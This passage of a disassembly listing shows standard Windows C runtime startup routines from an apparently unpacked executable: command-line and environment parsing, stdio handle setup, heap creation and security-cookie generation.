		pop	ecx
		jz	short loc_4154C8
		inc	esi


loc_4154C8:				; CODE XREF: sub_41547E+47j
		inc	esi
		jmp	short loc_41549E
; ---------------------------------------------------------------------------


loc_4154CB:				; CODE XREF: sub_41547E+56j
		cmp	al, 20h
		ja	short loc_4154D6
		inc	esi


loc_4154D0:				; CODE XREF: sub_41547E+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_4154CB


loc_4154D6:				; CODE XREF: sub_41547E+28j
					; sub_41547E+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_41547E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154DB	proc near		; CODE XREF: sub_4107B2:loc_410705p
		push	ebx
		xor	ebx, ebx
		cmp	dword_42601C, ebx
		push	esi
		push	edi
		jnz	short loc_4154ED
		call	sub_413264


loc_4154ED:				; CODE XREF: sub_4154DB+Bj
		mov	esi, dword_424394
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_415511


loc_4154F9:				; CODE XREF: sub_4154DB+51j
		or	eax, 0FFFFFFFFh
		jmp	loc_41559C
; ---------------------------------------------------------------------------


loc_415501:				; CODE XREF: sub_4154DB+3Aj
		cmp	al, 3Dh
		jz	short loc_415506
		inc	edi


loc_415506:				; CODE XREF: sub_4154DB+28j
		push	esi
		call	sub_40D970
		pop	ecx
		lea	esi, [esi+eax+1]


loc_415511:				; CODE XREF: sub_4154DB+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_415501
		push	4
		inc	edi
		push	edi
		call	sub_412363
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	dword_4243D8, edi
		jz	short loc_4154F9
		mov	esi, dword_424394
		push	ebp
		jmp	short loc_415577
; ---------------------------------------------------------------------------


loc_415537:				; CODE XREF: sub_4154DB+9Ej
		push	esi
		call	sub_40D970
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_415575
		push	1
		push	ebp
		call	sub_412363
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jz	short loc_4155A0
		push	esi
		push	ebp
		push	eax
		call	sub_410FB5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415572
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DBDC
		add	esp, 14h


loc_415572:				; CODE XREF: sub_4154DB+88j
		add	edi, 4


loc_415575:				; CODE XREF: sub_4154DB+69j
		add	esi, ebp


loc_415577:				; CODE XREF: sub_4154DB+5Aj
		cmp	[esi], bl
		jnz	short loc_415537
		push	dword_424394
		call	sub_41112C
		mov	dword_424394, ebx
		mov	[edi], ebx
		mov	dword_426010, 1
		xor	eax, eax


loc_41559A:				; CODE XREF: sub_4154DB+D9j
		pop	ecx
		pop	ebp


loc_41559C:				; CODE XREF: sub_4154DB+21j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4155A0:				; CODE XREF: sub_4154DB+79j
		push	dword_4243D8
		call	sub_41112C
		mov	dword_4243D8, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41559A
sub_4154DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155B6	proc near		; CODE XREF: sub_41574E+55p
					; sub_41574E+96p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ebx
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	esi
		mov	[edi], eax
		mov	esi, edx
		mov	edx, [ebp+arg_4]
		mov	dword ptr [ecx], 1
		jz	short loc_4155DC
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ebx], edx


loc_4155DC:				; CODE XREF: sub_4155B6+1Bj
		mov	[ebp+var_4], eax


loc_4155DF:				; CODE XREF: sub_4155B6+7Ej
					; sub_4155B6+88j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4155F4
		xor	eax, eax
		cmp	[ebp+var_4], eax
		mov	bl, 22h
		setz	al
		inc	esi
		mov	[ebp+var_4], eax
		jmp	short loc_415630
; ---------------------------------------------------------------------------


loc_4155F4:				; CODE XREF: sub_4155B6+2Cj
		inc	dword ptr [edi]
		test	edx, edx
		jz	short loc_415602
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		mov	[ebp+arg_4], edx


loc_415602:				; CODE XREF: sub_4155B6+42j
		mov	bl, [esi]
		movzx	eax, bl
		push	eax
		inc	esi
		call	sub_41A245
		test	eax, eax
		pop	ecx
		jz	short loc_415626
		inc	dword ptr [edi]
		cmp	[ebp+arg_4], 0
		jz	short loc_415625
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al


loc_415625:				; CODE XREF: sub_4155B6+63j
		inc	esi


loc_415626:				; CODE XREF: sub_4155B6+5Bj
		test	bl, bl
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		jz	short loc_415662


loc_415630:				; CODE XREF: sub_4155B6+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_4155DF
		cmp	bl, 20h
		jz	short loc_415640
		cmp	bl, 9
		jnz	short loc_4155DF


loc_415640:				; CODE XREF: sub_4155B6+83j
		test	edx, edx
		jz	short loc_415648
		mov	byte ptr [edx-1], 0


loc_415648:				; CODE XREF: sub_4155B6+8Cj
					; sub_4155B6+ADj
		and	[ebp+var_4], 0


loc_41564C:				; CODE XREF: sub_4155B6+183j
		cmp	byte ptr [esi],	0
		jz	loc_41573E


loc_415655:				; CODE XREF: sub_4155B6+AAj
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_41565F
		cmp	al, 9
		jnz	short loc_415665


loc_41565F:				; CODE XREF: sub_4155B6+A3j
		inc	esi
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415662:				; CODE XREF: sub_4155B6+78j
		dec	esi
		jmp	short loc_415648
; ---------------------------------------------------------------------------


loc_415665:				; CODE XREF: sub_4155B6+A7j
		cmp	byte ptr [esi],	0
		jz	loc_41573E
		cmp	[ebp+arg_0], 0
		jz	short loc_41567D
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[eax], edx


loc_41567D:				; CODE XREF: sub_4155B6+BCj
		inc	dword ptr [ecx]


loc_41567F:				; CODE XREF: sub_4155B6+16Ej
		xor	ebx, ebx
		inc	ebx
		xor	ecx, ecx
		jmp	short loc_415688
; ---------------------------------------------------------------------------


loc_415686:				; CODE XREF: sub_4155B6+D5j
		inc	esi
		inc	ecx


loc_415688:				; CODE XREF: sub_4155B6+CEj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_415686
		cmp	byte ptr [esi],	22h
		jnz	short loc_4156B8
		test	cl, 1
		jnz	short loc_4156B6
		cmp	[ebp+var_4], 0
		jz	short loc_4156A9
		lea	eax, [esi+1]
		cmp	byte ptr [eax],	22h
		jnz	short loc_4156A9
		mov	esi, eax
		jmp	short loc_4156B6
; ---------------------------------------------------------------------------


loc_4156A9:				; CODE XREF: sub_4155B6+E5j
					; sub_4155B6+EDj
		xor	eax, eax
		xor	ebx, ebx
		cmp	[ebp+var_4], eax
		setz	al
		mov	[ebp+var_4], eax


loc_4156B6:				; CODE XREF: sub_4155B6+DFj
					; sub_4155B6+F1j
		shr	ecx, 1


loc_4156B8:				; CODE XREF: sub_4155B6+DAj
		test	ecx, ecx
		jz	short loc_4156CE


loc_4156BC:				; CODE XREF: sub_4155B6+113j
		dec	ecx
		test	edx, edx
		jz	short loc_4156C5
		mov	byte ptr [edx],	5Ch
		inc	edx


loc_4156C5:				; CODE XREF: sub_4155B6+109j
		inc	dword ptr [edi]
		test	ecx, ecx
		jnz	short loc_4156BC
		mov	[ebp+arg_4], edx


loc_4156CE:				; CODE XREF: sub_4155B6+104j
		mov	al, [esi]
		test	al, al
		jz	short loc_415729
		cmp	[ebp+var_4], 0
		jnz	short loc_4156E2
		cmp	al, 20h
		jz	short loc_415729
		cmp	al, 9
		jz	short loc_415729


loc_4156E2:				; CODE XREF: sub_4155B6+122j
		test	ebx, ebx
		jz	short loc_415723
		test	edx, edx
		movsx	eax, al
		push	eax
		jz	short loc_415711
		call	sub_41A245
		test	eax, eax
		pop	ecx
		jz	short loc_415705
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+arg_4]
		mov	[ecx], al
		inc	esi
		inc	dword ptr [edi]


loc_415705:				; CODE XREF: sub_4155B6+140j
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al
		jmp	short loc_41571E
; ---------------------------------------------------------------------------


loc_415711:				; CODE XREF: sub_4155B6+136j
		call	sub_41A245
		test	eax, eax
		pop	ecx
		jz	short loc_41571E
		inc	esi
		inc	dword ptr [edi]


loc_41571E:				; CODE XREF: sub_4155B6+159j
					; sub_4155B6+163j
		inc	dword ptr [edi]
		mov	edx, [ebp+arg_4]


loc_415723:				; CODE XREF: sub_4155B6+12Ej
		inc	esi
		jmp	loc_41567F
; ---------------------------------------------------------------------------


loc_415729:				; CODE XREF: sub_4155B6+11Cj
					; sub_4155B6+126j ...
		test	edx, edx
		jz	short loc_415734
		mov	byte ptr [edx],	0
		inc	edx
		mov	[ebp+arg_4], edx


loc_415734:				; CODE XREF: sub_4155B6+175j
		inc	dword ptr [edi]
		mov	ecx, [ebp+arg_8]
		jmp	loc_41564C
; ---------------------------------------------------------------------------


loc_41573E:				; CODE XREF: sub_4155B6+99j
					; sub_4155B6+B2j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		pop	esi
		pop	ebx
		jz	short loc_41574A
		and	dword ptr [eax], 0


loc_41574A:				; CODE XREF: sub_4155B6+18Fj
		inc	dword ptr [ecx]
		leave
		retn
sub_4155B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41574E	proc near		; CODE XREF: sub_4107B2-BEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_42601C, ebx
		push	esi
		push	edi
		jnz	short loc_415766
		call	sub_413264


loc_415766:				; CODE XREF: sub_41574E+11j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	ebx
		mov	byte_424874, bl
		call	dword_41C0C0	; GetModuleFileNameA
		mov	eax, dword_426028
		cmp	eax, ebx
		mov	off_4243E8, esi
		jz	short loc_415794
		cmp	[eax], bl
		mov	[ebp+var_4], eax
		jnz	short loc_415797


loc_415794:				; CODE XREF: sub_41574E+3Dj
		mov	[ebp+var_4], esi


loc_415797:				; CODE XREF: sub_41574E+44j
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	edi, [ebp+var_C]
		call	sub_4155B6
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	eax, 3FFFFFFFh
		jnb	short loc_4157FF
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnb	short loc_4157FF
		mov	edi, eax
		shl	edi, 2
		lea	eax, [edi+ecx]
		cmp	eax, ecx
		jb	short loc_4157FF
		push	eax
		call	sub_412323
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4157FF
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		add	edi, esi
		push	edi
		push	esi
		lea	edi, [ebp+var_C]
		call	sub_4155B6
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		dec	eax
		mov	dword_4243CC, eax
		mov	dword_4243D0, esi
		xor	eax, eax
		jmp	short loc_415802
; ---------------------------------------------------------------------------


loc_4157FF:				; CODE XREF: sub_41574E+65j
					; sub_41574E+6Dj ...
		or	eax, 0FFFFFFFFh


loc_415802:				; CODE XREF: sub_41574E+AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41574E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415807	proc near		; CODE XREF: sub_4107B2-C8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_424878
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, dword_41C198
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_415850
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_415837
		mov	dword_424878, 1
		jmp	short loc_415859
; ---------------------------------------------------------------------------


loc_415837:				; CODE XREF: sub_415807+22j
		call	dword_41C0A4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41584B
		mov	eax, ebp
		mov	dword_424878, eax
		jmp	short loc_415850
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_415807+39j
		mov	eax, dword_424878


loc_415850:				; CODE XREF: sub_415807+1Aj
					; sub_415807+42j
		cmp	eax, 1
		jnz	loc_4158DD


loc_415859:				; CODE XREF: sub_415807+2Ej
		cmp	esi, ebx
		jnz	short loc_41586C
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41586C


loc_415865:				; CODE XREF: sub_415807+DCj
					; sub_415807+E8j ...
		xor	eax, eax
		jmp	loc_415935
; ---------------------------------------------------------------------------


loc_41586C:				; CODE XREF: sub_415807+54j
					; sub_415807+5Cj
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_415881


loc_415873:				; CODE XREF: sub_415807+71j
					; sub_415807+78j
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_415873
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_415873


loc_415881:				; CODE XREF: sub_415807+6Aj
		mov	edi, dword_41C170
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4158D2
		push	ebp
		call	sub_412323
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_4158D2
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_4158CE
		push	[esp+18h+var_8]
		call	sub_41112C
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_4158CE:				; CODE XREF: sub_415807+B7j
		mov	ebx, [esp+18h+var_8]


loc_4158D2:				; CODE XREF: sub_415807+97j
					; sub_415807+A6j
		push	esi
		call	dword_41C194	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_415935
; ---------------------------------------------------------------------------


loc_4158DD:				; CODE XREF: sub_415807+4Cj
		cmp	eax, ebp
		jz	short loc_4158E5
		cmp	eax, ebx
		jnz	short loc_415865


loc_4158E5:				; CODE XREF: sub_415807+D8j
		call	dword_41C190	; GetEnvironmentStringsA
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_415865
		cmp	[esi], bl
		jz	short loc_415903


loc_4158F9:				; CODE XREF: sub_415807+F5j
					; sub_415807+FAj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4158F9
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4158F9


loc_415903:				; CODE XREF: sub_415807+F0j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_412323
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_415921
		push	esi
		call	dword_41C18C	; FreeEnvironmentStringsA
		jmp	loc_415865
; ---------------------------------------------------------------------------


loc_415921:				; CODE XREF: sub_415807+10Cj
		push	ebp
		push	esi
		push	edi
		call	sub_410050
		add	esp, 0Ch
		push	esi
		call	dword_41C18C	; FreeEnvironmentStringsA
		mov	eax, edi


loc_415935:				; CODE XREF: sub_415807+60j
					; sub_415807+D4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_415807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41593C	proc near		; CODE XREF: sub_4107B2-E4p

var_64		= byte ptr -64h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	54h
		push	offset dword_41FB38
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_41C0A0	; GetStartupInfoA
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		push	28h
		push	20h
		pop	esi
		push	esi
		call	sub_412363
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	loc_415B73
		mov	dword_424EE0, eax
		mov	dword_424EC8, esi
		lea	ecx, [eax+500h]
		jmp	short loc_4159AF
; ---------------------------------------------------------------------------


loc_415986:				; CODE XREF: sub_41593C+75j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], edi
		mov	byte ptr [eax+24h], 0
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	ecx, dword_424EE0
		add	ecx, 500h


loc_4159AF:				; CODE XREF: sub_41593C+48j
		cmp	eax, ecx
		jb	short loc_415986
		cmp	[ebp+var_32], di
		jz	loc_415ABA
		mov	eax, [ebp+var_30]
		cmp	eax, edi
		jz	loc_415ABA
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_1C], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_4159DE
		mov	edi, eax


loc_4159DE:				; CODE XREF: sub_41593C+9Ej
		xor	esi, esi
		inc	esi
		jmp	short loc_415A35
; ---------------------------------------------------------------------------


loc_4159E3:				; CODE XREF: sub_41593C+FFj
		push	28h
		push	20h
		call	sub_412363
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415A3F
		lea	ecx, ds:424EE0h[esi*4]
		mov	[ecx], eax
		add	dword_424EC8, 20h
		lea	edx, [eax+500h]
		jmp	short loc_415A30
; ---------------------------------------------------------------------------


loc_415A0A:				; CODE XREF: sub_41593C+F6j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		and	byte ptr [eax+24h], 80h
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	edx, [ecx]
		add	edx, 500h


loc_415A30:				; CODE XREF: sub_41593C+CCj
		cmp	eax, edx
		jb	short loc_415A0A
		inc	esi


loc_415A35:				; CODE XREF: sub_41593C+A5j
		cmp	dword_424EC8, edi
		jl	short loc_4159E3
		jmp	short loc_415A45
; ---------------------------------------------------------------------------


loc_415A3F:				; CODE XREF: sub_41593C+B4j
		mov	edi, dword_424EC8


loc_415A45:				; CODE XREF: sub_41593C+101j
		and	[ebp+var_20], 0
		test	edi, edi
		jle	short loc_415ABA


loc_415A4D:				; CODE XREF: sub_41593C+17Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_415AAD
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_415AAD
		mov	al, [ebx]
		test	al, 1
		jz	short loc_415AAD
		test	al, 8
		jnz	short loc_415A71
		push	ecx
		call	dword_41C1A0	; GetFileType
		test	eax, eax
		jz	short loc_415AAD


loc_415A71:				; CODE XREF: sub_41593C+128j
		mov	esi, [ebp+var_20]
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_424EE0[eax*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_4182CC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415B73
		inc	dword ptr [esi+8]


loc_415AAD:				; CODE XREF: sub_41593C+119j
					; sub_41593C+11Ej ...
		inc	[ebp+var_20]
		inc	ebx
		add	[ebp+var_1C], 4
		cmp	[ebp+var_20], edi
		jl	short loc_415A4D


loc_415ABA:				; CODE XREF: sub_41593C+7Bj
					; sub_41593C+86j ...
		xor	ebx, ebx


loc_415ABC:				; CODE XREF: sub_41593C+213j
		mov	esi, ebx
		imul	esi, 28h
		add	esi, dword_424EE0
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415AD9
		cmp	eax, 0FFFFFFFEh
		jz	short loc_415AD9
		or	byte ptr [esi+4], 80h
		jmp	short loc_415B4B
; ---------------------------------------------------------------------------


loc_415AD9:				; CODE XREF: sub_41593C+190j
					; sub_41593C+195j
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jnz	short loc_415AE6
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_415AF0
; ---------------------------------------------------------------------------


loc_415AE6:				; CODE XREF: sub_41593C+1A3j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_415AF0:				; CODE XREF: sub_41593C+1A8j
		push	eax
		call	dword_41C180	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_415B41
		test	edi, edi
		jz	short loc_415B41
		push	edi
		call	dword_41C1A0	; GetFileType
		test	eax, eax
		jz	short loc_415B41
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_415B1F
		or	byte ptr [esi+4], 40h
		jmp	short loc_415B28
; ---------------------------------------------------------------------------


loc_415B1F:				; CODE XREF: sub_41593C+1DBj
		cmp	eax, 3
		jnz	short loc_415B28
		or	byte ptr [esi+4], 8


loc_415B28:				; CODE XREF: sub_41593C+1E1j
					; sub_41593C+1E6j
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_4182CC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415B73
		inc	dword ptr [esi+8]
		jmp	short loc_415B4B
; ---------------------------------------------------------------------------


loc_415B41:				; CODE XREF: sub_41593C+1C0j
					; sub_41593C+1C4j ...
		or	byte ptr [esi+4], 40h
		mov	dword ptr [esi], 0FFFFFFFEh


loc_415B4B:				; CODE XREF: sub_41593C+19Bj
					; sub_41593C+203j
		inc	ebx
		cmp	ebx, 3
		jl	loc_415ABC
		push	dword_424EC8
		call	dword_41C19C	; SetHandleCount
		xor	eax, eax
		jmp	short loc_415B76
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_415B73:				; CODE XREF: sub_41593C+31j
					; sub_41593C+168j ...
		or	eax, 0FFFFFFFFh


loc_415B76:				; CODE XREF: sub_41593C+227j
		call	__SEH_epilog4
		retn
sub_41593C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B7C	proc near		; CODE XREF: sub_4107B2:loc_4106C6p
		push	esi
		push	edi
		mov	eax, offset dword_41F840
		mov	edi, offset dword_41F840
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_415B9D


loc_415B8E:				; CODE XREF: sub_415B7C+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415B96
		call	eax


loc_415B96:				; CODE XREF: sub_415B7C+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_415B8E


loc_415B9D:				; CODE XREF: sub_415B7C+10j
		pop	edi
		pop	esi
		retn
sub_415B7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; DATA XREF: sub_4125B5+3Fo
		push	esi
		push	edi
		mov	eax, offset dword_41F848
		mov	edi, offset dword_41F848
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_415BC1


loc_415BB2:				; CODE XREF: sub_415BA0+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415BBA
		call	eax


loc_415BBA:				; CODE XREF: sub_415BA0+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_415BB2


loc_415BC1:				; CODE XREF: sub_415BA0+10j
		pop	edi
		pop	esi
		retn
sub_415BA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BC4	proc near		; CODE XREF: sub_415C1F:loc_415C42p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_4]
		xor	esi, esi
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		call	sub_412542
		test	eax, eax
		pop	ecx
		jz	short loc_415BED
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DBDC
		add	esp, 14h


loc_415BED:				; CODE XREF: sub_415BC4+1Aj
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412579
		test	eax, eax
		pop	ecx
		jz	short loc_415C08
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DBDC
		add	esp, 14h


loc_415C08:				; CODE XREF: sub_415BC4+35j
		cmp	[ebp+var_4], 2
		pop	esi
		jnz	short loc_415C1A
		cmp	[ebp+var_8], 5
		jb	short loc_415C1A
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_415C1A:				; CODE XREF: sub_415BC4+49j
					; sub_415BC4+4Fj
		push	3
		pop	eax
		leave
		retn
sub_415BC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C1F	proc near		; CODE XREF: sub_4107B2-10Fp

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	dword_41C1A8	; HeapCreate
		test	eax, eax
		mov	dword_42487C, eax
		jnz	short loc_415C42


loc_415C3F:				; CODE XREF: sub_415C1F+54j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415C42:				; CODE XREF: sub_415C1F+1Ej
		call	sub_415BC4
		cmp	eax, 3
		mov	dword_424EC4, eax
		jnz	short loc_415C75
		push	3F8h
		call	sub_416DD7
		test	eax, eax
		pop	ecx
		jnz	short loc_415C75
		push	dword_42487C
		call	dword_41C1A4	; HeapDestroy
		and	dword_42487C, 0
		jmp	short loc_415C3F
; ---------------------------------------------------------------------------


loc_415C75:				; CODE XREF: sub_415C1F+30j
					; sub_415C1F+3Fj
		xor	eax, eax
		inc	eax
		retn
sub_415C1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C79	proc near		; CODE XREF: sub_4107B2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_4231C4
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, 0BB40E64Eh
		cmp	eax, edi
		mov	ebx, 0FFFF0000h
		jz	short loc_415CA9
		test	eax, ebx
		jz	short loc_415CA9
		not	eax
		mov	dword_4231C8, eax
		jmp	short loc_415D09
; ---------------------------------------------------------------------------


loc_415CA9:				; CODE XREF: sub_415C79+21j
					; sub_415C79+25j
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41C118	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	dword_41C0E8	; GetCurrentProcessId
		xor	esi, eax
		call	dword_41C120	; GetCurrentThreadId
		xor	esi, eax
		call	dword_41C058	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41C0EC	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		cmp	esi, edi
		jnz	short loc_415CEF
		mov	esi, 0BB40E64Fh
		jmp	short loc_415CFA
; ---------------------------------------------------------------------------


loc_415CEF:				; CODE XREF: sub_415C79+6Dj
		test	esi, ebx
		jnz	short loc_415CFA
		mov	eax, esi
		shl	eax, 10h
		or	esi, eax


loc_415CFA:				; CODE XREF: sub_415C79+74j
					; sub_415C79+78j
		mov	dword_4231C4, esi
		not	esi
		mov	dword_4231C8, esi
		pop	esi


loc_415D09:				; CODE XREF: sub_415C79+2Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_415C79	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D0D	proc near		; DATA XREF: sub_415D79o
					; .vty:004231A4o

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		mov	eax, [edi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_415D46
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_415D46
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_415D41
		cmp	eax, 19930521h
		jz	short loc_415D41
		cmp	eax, 19930522h
		jz	short loc_415D41
		cmp	eax, 1994000h
		jnz	short loc_415D46


loc_415D41:				; CODE XREF: sub_415D0D+1Dj
					; sub_415D0D+24j ...
		call	sub_416A48


loc_415D46:				; CODE XREF: sub_415D0D+Dj
					; sub_415D0D+13j ...
		cmp	byte_424884, 0
